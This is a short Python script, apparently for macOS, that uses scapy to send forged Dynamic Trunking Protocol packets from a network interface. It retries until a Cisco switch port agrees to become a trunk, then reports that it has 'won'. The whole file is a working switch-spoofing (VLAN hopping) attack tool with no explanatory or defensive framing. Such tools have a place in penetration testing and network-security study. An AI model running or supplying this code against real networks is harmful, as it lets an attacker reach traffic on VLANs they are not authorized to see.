scapy-grab-trunk-OSX.py

from scapy.all import *
from scapy.contrib.dtp import *

FLAG_TRUNK = 0x80
RETRY      = 10
SEND_WAIT  = 5 

iface = 'en0'
dtpmac = "01:00:0c:cc:cc:cc"
mymac = get_if_hwaddr(iface) 

#Random fails for me....
#mymac = str(RandMAC())

dtp = Dot3(src=mymac, dst=dtpmac)/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])

for i in range(RETRY):
    print "[+] Send DTP packet %d/%d" % (i+1,RETRY)
    sendp(dtp, iface=iface, verbose=False)
    result = sniff(iface=iface, count=1, lfilter=lambda x: x.haslayer(DTP), prn=lambda x: x.summary, timeout=SEND_WAIT)
    
    if len(result.filter(lambda x: x.haslayer(DTP) and (ord(x[DTPStatus].status) & FLAG_TRUNK))) != 0:
        print "[+] Seems we won!"
        break